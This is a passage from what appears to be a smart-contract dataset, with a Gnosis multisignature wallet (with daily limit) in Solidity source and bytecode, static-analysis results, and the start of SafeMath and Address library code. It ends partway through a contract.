a060020a0390811682526002602090815260408084209490945591548351878152935190821693918b169260008051602061165f833981519152928290030190a35b85600160a060020a031687600160a060020a031660008051602061165f833981519152846040518082815260200191505060405180910390a350505050505050565b600160a060020a031660009081526002602052604090205490565b6000806040604436101561146b57600080fd5b611486612710611298600354876115c590919063ffffffff16565b92506004548311156114985760045492505b6114a8848463ffffffff61163d16565b336000908152600260205260409020549092506114cb908563ffffffff61163d16565b3360009081526002602052604080822092909255600160a060020a038716815220546114fd908363ffffffff61164f16565b600160a060020a0386166000908152600260205260408120919091558311156115905760008054600160a060020a0316815260026020526040902054611549908463ffffffff61164f16565b60008054600160a060020a03908116825260026020908152604080842094909455915483518781529351911692339260008051602061165f83398151915292918290030190a35b604080518381529051600160a060020a03871691339160008051602061165f8339815191529181900360200190a35050505050565b6000808315156115d857600091506115f4565b508282028284828115156115e857fe5b04146115f057fe5b8091505b5092915050565b600160a060020a03918216600090815260056020908152604080832093909416825291909152205490565b600080828481151561163457fe5b04949350505050565b60008282111561164957fe5b50900390565b6000828201838110156115f057fe00ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a72305820756cbe07bbafe216ac69e196a6cd7be610633737a12ddac353790dbca5b9c6ea0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
| 9,272 |
0x5c15741c7abb1b0e8fb0bd41b5ed8c17219926a1
|
pragma solidity 0.4.20;
/// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution.
/// @author Stefan George - <<span class="__cf_email__" data-cfemail="aad9decfcccbc484cdcfc5d8cdcfeac9c5c4d9cfc4d9d3d984c4cfde">[email protected]</span>>
contract MultiSigWallet {
/*
* Events
*/
event Confirmation(address indexed sender, uint indexed transactionId);
event Revocation(address indexed sender, uint indexed transactionId);
event Submission(uint indexed transactionId);
event Execution(uint indexed transactionId);
event ExecutionFailure(uint indexed transactionId);
event Deposit(address indexed sender, uint value);
event OwnerAddition(address indexed owner);
event OwnerRemoval(address indexed owner);
event RequirementChange(uint required);
/*
* Constants
*/
uint constant public MAX_OWNER_COUNT = 50;
/*
* Storage
*/
mapping (uint => Transaction) public transactions;
mapping (uint => mapping (address => bool)) public confirmations;
mapping (address => bool) public isOwner;
address[] public owners;
uint public required;
uint public transactionCount;
struct Transaction {
address destination;
uint value;
bytes data;
bool executed;
}
/*
* Modifiers
*/
modifier onlyWallet() {
require(msg.sender == address(this));
_;
}
modifier ownerDoesNotExist(address owner) {
require(!isOwner[owner]);
_;
}
modifier ownerExists(address owner) {
require(isOwner[owner]);
_;
}
modifier transactionExists(uint transactionId) {
require(transactions[transactionId].destination != 0);
_;
}
modifier confirmed(uint transactionId, address owner) {
require(confirmations[transactionId][owner]);
_;
}
modifier notConfirmed(uint transactionId, address owner) {
require(!confirmations[transactionId][owner]);
_;
}
modifier notExecuted(uint transactionId) {
require(!transactions[transactionId].executed);
_;
}
modifier notNull(address _address) {
require(_address != 0);
_;
}
modifier validRequirement(uint ownerCount, uint _required) {
require(ownerCount <= MAX_OWNER_COUNT
&& _required <= ownerCount
&& _required != 0
&& ownerCount != 0);
_;
}
/// @dev Fallback function allows to deposit ether.
function()
payable
{
if (msg.value > 0)
Deposit(msg.sender, msg.value);
}
/*
* Public functions
*/
/// @dev Contract constructor sets initial owners and required number of confirmations.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
function MultiSigWallet(address[] _owners, uint _required)
public
validRequirement(_owners.length, _required)
{
for (uint i=0; i<_owners.length; i++) {
require(!isOwner[_owners[i]] && _owners[i] != 0);
isOwner[_owners[i]] = true;
}
owners = _owners;
required = _required;
}
/// @dev Allows to add a new owner. Transaction has to be sent by wallet.
/// @param owner Address of new owner.
function addOwner(address owner)
public
onlyWallet
ownerDoesNotExist(owner)
notNull(owner)
validRequirement(owners.length + 1, required)
{
isOwner[owner] = true;
owners.push(owner);
OwnerAddition(owner);
}
/// @dev Allows to remove an owner. Transaction has to be sent by wallet.
/// @param owner Address of owner.
function removeOwner(address owner)
public
onlyWallet
ownerExists(owner)
{
isOwner[owner] = false;
for (uint i=0; i<owners.length - 1; i++)
if (owners[i] == owner) {
owners[i] = owners[owners.length - 1];
break;
}
owners.length -= 1;
if (required > owners.length)
changeRequirement(owners.length);
OwnerRemoval(owner);
}
/// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet.
/// @param owner Address of owner to be replaced.
/// @param newOwner Address of new owner.
function replaceOwner(address owner, address newOwner)
public
onlyWallet
ownerExists(owner)
ownerDoesNotExist(newOwner)
{
for (uint i=0; i<owners.length; i++)
if (owners[i] == owner) {
owners[i] = newOwner;
break;
}
isOwner[owner] = false;
isOwner[newOwner] = true;
OwnerRemoval(owner);
OwnerAddition(newOwner);
}
/// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet.
/// @param _required Number of required confirmations.
function changeRequirement(uint _required)
public
onlyWallet
validRequirement(owners.length, _required)
{
required = _required;
RequirementChange(_required);
}
/// @dev Allows an owner to submit and confirm a transaction.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function submitTransaction(address destination, uint value, bytes data)
public
returns (uint transactionId)
{
transactionId = addTransaction(destination, value, data);
confirmTransaction(transactionId);
}
/// @dev Allows an owner to confirm a transaction.
/// @param transactionId Transaction ID.
function confirmTransaction(uint transactionId)
public
ownerExists(msg.sender)
transactionExists(transactionId)
notConfirmed(transactionId, msg.sender)
{
confirmations[transactionId][msg.sender] = true;
Confirmation(msg.sender, transactionId);
executeTransaction(transactionId);
}
/// @dev Allows an owner to revoke a confirmation for a transaction.
/// @param transactionId Transaction ID.
function revokeConfirmation(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
confirmations[transactionId][msg.sender] = false;
Revocation(msg.sender, transactionId);
}
/// @dev Allows anyone to execute a confirmed transaction.
/// @param transactionId Transaction ID.
function executeTransaction(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
if (isConfirmed(transactionId)) {
Transaction storage txn = transactions[transactionId];
txn.executed = true;
if (txn.destination.call.value(txn.value)(txn.data))
Execution(transactionId);
else {
ExecutionFailure(transactionId);
txn.executed = false;
}
}
}
/// @dev Returns the confirmation status of a transaction.
/// @param transactionId Transaction ID.
/// @return Confirmation status.
function isConfirmed(uint transactionId)
public
constant
returns (bool)
{
uint count = 0;
for (uint i=0; i<owners.length; i++) {
if (confirmations[transactionId][owners[i]])
count += 1;
if (count == required)
return true;
}
}
/*
* Internal functions
*/
/// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function addTransaction(address destination, uint value, bytes data)
internal
notNull(destination)
returns (uint transactionId)
{
transactionId = transactionCount;
transactions[transactionId] = Transaction({
destination: destination,
value: value,
data: data,
executed: false
});
transactionCount += 1;
Submission(transactionId);
}
/*
* Web3 call functions
*/
/// @dev Returns number of confirmations of a transaction.
/// @param transactionId Transaction ID.
/// @return Number of confirmations.
function getConfirmationCount(uint transactionId)
public
constant
returns (uint count)
{
for (uint i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]])
count += 1;
}
/// @dev Returns total number of transactions after filers are applied.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Total number of transactions after filters are applied.
function getTransactionCount(bool pending, bool executed)
public
constant
returns (uint count)
{
for (uint i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
count += 1;
}
/// @dev Returns list of owners.
/// @return List of owner addresses.
function getOwners()
public
constant
returns (address[])
{
return owners;
}
/// @dev Returns array with owner addresses, which confirmed transaction.
/// @param transactionId Transaction ID.
/// @return Returns array of owner addresses.
function getConfirmations(uint transactionId)
public
constant
returns (address[] _confirmations)
{
address[] memory confirmationsTemp = new address[](owners.length);
uint count = 0;
uint i;
for (i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]]) {
confirmationsTemp[count] = owners[i];
count += 1;
}
_confirmations = new address[](count);
for (i=0; i<count; i++)
_confirmations[i] = confirmationsTemp[i];
}
/// @dev Returns list of transaction IDs in defined range.
/// @param from Index start position of transaction array.
/// @param to Index end position of transaction array.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Returns array of transaction IDs.
function getTransactionIds(uint from, uint to, bool pending, bool executed)
public
constant
returns (uint[] _transactionIds)
{
uint[] memory transactionIdsTemp = new uint[](transactionCount);
uint count = 0;
uint i;
for (i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
{
transactionIdsTemp[count] = i;
count += 1;
}
_transactionIds = new uint[](to - from);
for (i=from; i<to; i++)
_transactionIds[i - from] = transactionIdsTemp[i];
}
}
/// @title Multisignature wallet with daily limit - Allows an owner to withdraw a daily limit without multisig.
/// @author Stefan George - <<span class="__cf_email__" data-cfemail="eb989f8e8d8a85c58c8e84998c8eab888485988e85989298c5858e9f">[email protected]</span>>
contract MultiSigWalletWithDailyLimit is MultiSigWallet {
/*
* Events
*/
event DailyLimitChange(uint dailyLimit);
/*
* Storage
*/
uint public dailyLimit;
uint public lastDay;
uint public spentToday;
/*
* Public functions
*/
/// @dev Contract constructor sets initial owners, required number of confirmations and daily withdraw limit.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
/// @param _dailyLimit Amount in wei, which can be withdrawn without confirmations on a daily basis.
function MultiSigWalletWithDailyLimit(address[] _owners, uint _required, uint _dailyLimit)
public
MultiSigWallet(_owners, _required)
{
dailyLimit = _dailyLimit;
}
/// @dev Allows to change the daily limit. Transaction has to be sent by wallet.
/// @param _dailyLimit Amount in wei.
function changeDailyLimit(uint _dailyLimit)
public
onlyWallet
{
dailyLimit = _dailyLimit;
DailyLimitChange(_dailyLimit);
}
/// @dev Allows anyone to execute a confirmed transaction or ether withdraws until daily limit is reached.
/// @param transactionId Transaction ID.
function executeTransaction(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
Transaction storage txn = transactions[transactionId];
bool _confirmed = isConfirmed(transactionId);
if (_confirmed || txn.data.length == 0 && isUnderLimit(txn.value)) {
txn.executed = true;
if (!_confirmed)
spentToday += txn.value;
if (txn.destination.call.value(txn.value)(txn.data))
Execution(transactionId);
else {
ExecutionFailure(transactionId);
txn.executed = false;
if (!_confirmed)
spentToday -= txn.value;
}
}
}
/*
* Internal functions
*/
/// @dev Returns if amount is within daily limit and resets spentToday after one day.
/// @param amount Amount to withdraw.
/// @return Returns if amount is under daily limit.
function isUnderLimit(uint amount)
internal
returns (bool)
{
if (now > lastDay + 24 hours) {
lastDay = now;
spentToday = 0;
}
if (spentToday + amount > dailyLimit || spentToday + amount < spentToday)
return false;
return true;
}
/*
* Web3 call functions
*/
/// @dev Returns maximum withdraw amount.
/// @return Returns amount.
function calcMaxWithdraw()
public
constant
returns (uint)
{
if (now > lastDay + 24 hours)
return dailyLimit;
if (dailyLimit < spentToday)
return 0;
return dailyLimit - spentToday;
}
}
|
0x606060405260043610610154576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063025e7c27146101ae578063173825d91461021157806320ea8d861461024a5780632f54bf6e1461026d5780633411c81c146102be5780634bc9fdc214610318578063547415251461034157806367eeba0c146103855780636b0c932d146103ae5780637065cb48146103d7578063784547a7146104105780638b51d13f1461044b5780639ace38c214610482578063a0e67e2b14610580578063a8abe69a146105ea578063b5dc40c314610681578063b77bf600146106f9578063ba51a6df14610722578063c01a8c8414610745578063c642747414610768578063cea0862114610801578063d74f8edd14610824578063dc8452cd1461084d578063e20056e614610876578063ee22610b146108ce578063f059cf2b146108f1575b60003411156101ac573373ffffffffffffffffffffffffffffffffffffffff167fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c346040518082815260200191505060405180910390a25b005b34156101b957600080fd5b6101cf600480803590602001909190505061091a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561021c57600080fd5b610248600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610959565b005b341561025557600080fd5b61026b6004808035906020019091905050610bf5565b005b341561027857600080fd5b6102a4600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610d9d565b604051808215151515815260200191505060405180910390f35b34156102c957600080fd5b6102fe600480803590602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610dbd565b604051808215151515815260200191505060405180910390f35b341561032357600080fd5b61032b610dec565b6040518082815260200191505060405180910390f35b341561034c57600080fd5b61036f600480803515159060200190919080351515906020019091905050610e29565b6040518082815260200191505060405180910390f35b341561039057600080fd5b610398610ebb565b6040518082815260200191505060405180910390f35b34156103b957600080fd5b6103c1610ec1565b6040518082815260200191505060405180910390f35b34156103e257600080fd5b61040e600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610ec7565b005b341561041b57600080fd5b61043160048080359060200190919050506110c9565b604051808215151515815260200191505060405180910390f35b341561045657600080fd5b61046c60048080359060200190919050506111af565b6040518082815260200191505060405180910390f35b341561048d57600080fd5b6104a3600480803590602001909190505061127b565b604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001848152602001806020018315151515815260200182810382528481815460018160011615610100020316600290048152602001915080546001816001161561010002031660029004801561056e5780601f106105435761010080835404028352916020019161056e565b820191906000526020600020905b81548152906001019060200180831161055157829003601f168201915b50509550505050505060405180910390f35b341561058b57600080fd5b6105936112d7565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156105d65780820151818401526020810190506105bb565b505050509050019250505060405180910390f35b34156105f557600080fd5b61062a60048080359060200190919080359060200190919080351515906020019091908035151590602001909190505061136b565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561066d578082015181840152602081019050610652565b505050509050019250505060405180910390f35b341561068c57600080fd5b6106a260048080359060200190919050506114c7565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156106e55780820151818401526020810190506106ca565b505050509050019250505060405180910390f35b341561070457600080fd5b61070c6116f1565b6040518082815260200191505060405180910390f35b341561072d57600080fd5b61074360048080359060200190919050506116f7565b005b341561075057600080fd5b61076660048080359060200190919050506117b1565b005b341561077357600080fd5b6107eb600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190505061198e565b6040518082815260200191505060405180910390f35b341561080c57600080fd5b61082260048080359060200190919050506119ad565b005b341561082f57600080fd5b610837611a28565b6040518082815260200191505060405180910390f35b341561085857600080fd5b610860611a2d565b6040518082815260200191505060405180910390f35b341561088157600080fd5b6108cc600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611a33565b005b34156108d957600080fd5b6108ef6004808035906020019091905050611d4a565b005b34156108fc57600080fd5b610904612042565b6040518082815260200191505060405180910390f35b60038181548110151561092957fe5b90600052602060002090016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60003073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561099557600080fd5b81600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156109ee57600080fd5b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600091505b600160038054905003821015610b76578273ffffffffffffffffffffffffffffffffffffffff16600383815481101515610a8157fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415610b69576003600160038054905003815481101515610ae057fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600383815481101515610b1b57fe5b906000526020600020900160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610b76565b8180600101925050610a4b565b6001600381818054905003915081610b8e91906121ec565b506003805490506004541115610bad57610bac6003805490506116f7565b5b8273ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a2505050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610c4e57600080fd5b81336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610cb957600080fd5b8360008082815260200190815260200160002060030160009054906101000a900460ff16151515610ce957600080fd5b60006001600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167ff6a317157440607f36269043eb55f1287a5a19ba2216afeab88cd46cbcfb88e960405160405180910390a35050505050565b60026020528060005260406000206000915054906101000a900460ff1681565b60016020528160005260406000206020528060005260406000206000915091509054906101000a900460ff1681565b60006201518060075401421115610e07576006549050610e26565b6008546006541015610e1c5760009050610e26565b6008546006540390505b90565b600080600090505b600554811015610eb457838015610e68575060008082815260200190815260200160002060030160009054906101000a900460ff16155b80610e9b5750828015610e9a575060008082815260200190815260200160002060030160009054906101000a900460ff165b5b15610ea7576001820191505b8080600101915050610e31565b5092915050565b60065481565b60075481565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f0157600080fd5b80600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610f5b57600080fd5b8160008173ffffffffffffffffffffffffffffffffffffffff1614151515610f8257600080fd5b60016003805490500160045460328211158015610f9f5750818111155b8015610fac575060008114155b8015610fb9575060008214155b1515610fc457600080fd5b6001600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600380548060010182816110309190612218565b9160005260206000209001600087909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550508473ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25050505050565b6000806000809150600090505b6003805490508110156111a75760016000858152602001908152602001600020600060038381548110151561110757fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611187576001820191505b60045482141561119a57600192506111a8565b80806001019150506110d6565b5b5050919050565b600080600090505b600380549050811015611275576001600084815260200190815260200160002060006003838154811015156111e857fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611268576001820191505b80806001019150506111b7565b50919050565b60006020528060005260406000206000915090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169080600101549080600201908060030160009054906101000a900460ff16905084565b6112df612244565b600380548060200260200160405190810160405280929190818152602001828054801561136157602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019060010190808311611317575b5050505050905090565b611373612258565b61137b612258565b60008060055460405180591061138e5750595b9080825280602002602001820160405250925060009150600090505b60055481101561144a578580156113e1575060008082815260200190815260200160002060030160009054906101000a900460ff16155b806114145750848015611413575060008082815260200190815260200160002060030160009054906101000a900460ff165b5b1561143d5780838381518110151561142857fe5b90602001906020020181815250506001820191505b80806001019150506113aa565b87870360405180591061145a5750595b908082528060200260200182016040525093508790505b868110156114bc57828181518110151561148757fe5b90602001906020020151848983038151811015156114a157fe5b90602001906020020181815250508080600101915050611471565b505050949350505050565b6114cf612244565b6114d7612244565b6000806003805490506040518059106114ed5750595b9080825280602002602001820160405250925060009150600090505b60038054905081101561164c5760016000868152602001908152602001600020600060038381548110151561153a57fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561163f576003818154811015156115c257fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683838151811015156115fc57fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506001820191505b8080600101915050611509565b8160405180591061165a5750595b90808252806020026020018201604052509350600090505b818110156116e957828181518110151561168857fe5b9060200190602002015184828151811015156116a057fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250508080600101915050611672565b505050919050565b60055481565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561173157600080fd5b60038054905081603282111580156117495750818111155b8015611756575060008114155b8015611763575060008214155b151561176e57600080fd5b826004819055507fa3f1ee9126a074d9326c682f561767f710e927faa811f7a99829d49dc421797a836040518082815260200191505060405180910390a1505050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561180a57600080fd5b81600080600083815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415151561186657600080fd5b82336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515156118d257600080fd5b600180600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167f4a504a94899432a9846e1aa406dceb1bcfd538bb839071d49d1e5e23f5be30ef60405160405180910390a361198785611d4a565b5050505050565b600061199b848484612048565b90506119a6816117b1565b9392505050565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156119e757600080fd5b806006819055507fc71bdc6afaf9b1aa90a7078191d4fc1adf3bf680fca3183697df6b0dc226bca2816040518082815260200191505060405180910390a150565b603281565b60045481565b60003073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611a6f57600080fd5b82600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611ac857600080fd5b82600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515611b2257600080fd5b600092505b600380549050831015611c0d578473ffffffffffffffffffffffffffffffffffffffff16600384815481101515611b5a57fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611c005783600384815481101515611bb257fe5b906000526020600020900160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611c0d565b8280600101935050611b27565b6000600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508473ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a28373ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25050505050565b60008033600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611da657600080fd5b83336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611e1157600080fd5b8560008082815260200190815260200160002060030160009054906101000a900460ff16151515611e4157600080fd5b6000808881526020019081526020016000209550611e5e876110c9565b94508480611e995750600086600201805460018160011615610100020316600290049050148015611e985750611e97866001015461219a565b5b5b156120395760018660030160006101000a81548160ff021916908315150217905550841515611ed75785600101546008600082825401925050819055505b8560000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168660010154876002016040518082805460018160011615610100020316600290048015611f805780601f10611f5557610100808354040283529160200191611f80565b820191906000526020600020905b815481529060010190602001808311611f6357829003601f168201915b505091505060006040518083038185876187965a03f19250505015611fd157867f33e13ecb54c3076d8e8bb8c2881800a4d972b792045ffae98fdf46df365fed7560405160405180910390a2612038565b867f526441bb6c1aba3c9a4a6ca1d6545da9c2333c8c48343ef398eb858d72b7923660405160405180910390a260008660030160006101000a81548160ff0219169083151502179055508415156120375785600101546008600082825403925050819055505b5b5b50505050505050565b60085481565b60008360008173ffffffffffffffffffffffffffffffffffffffff161415151561207157600080fd5b60055491506080604051908101604052808673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018481526020016000151581525060008084815260200190815260200160002060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060208201518160010155604082015181600201908051906020019061213092919061226c565b5060608201518160030160006101000a81548160ff0219169083151502179055509050506001600560008282540192505081905550817fc0ba8fe4b176c1714197d43b9cc6bcf797a4a7461c5fe8d0ef6e184ae7601e5160405160405180910390a2509392505050565b600062015180600754014211156121bb574260078190555060006008819055505b600654826008540111806121d457506008548260085401105b156121e257600090506121e7565b600190505b919050565b8154818355818115116122135781836000526020600020918201910161221291906122ec565b5b505050565b81548183558181151161223f5781836000526020600020918201910161223e91906122ec565b5b505050565b602060405190810160405280600081525090565b602060405190810160405280600081525090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106122ad57805160ff19168380011785556122db565b828001600101855582156122db579182015b828111156122da5782518255916020019190600101906122bf565b5b5090506122e891906122ec565b5090565b61230e91905b8082111561230a5760008160009055506001016122f2565b5090565b905600a165627a7a723058207a083fc9111b1e743b3e6a8a4011c2a704783380ac0246f4e7140573c449e3ee0029
|
{"success": true, "error": null, "results": {}}
| 9,273 |
0xd6077948af2d09ad99e6f5096049205551cbb361
|
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
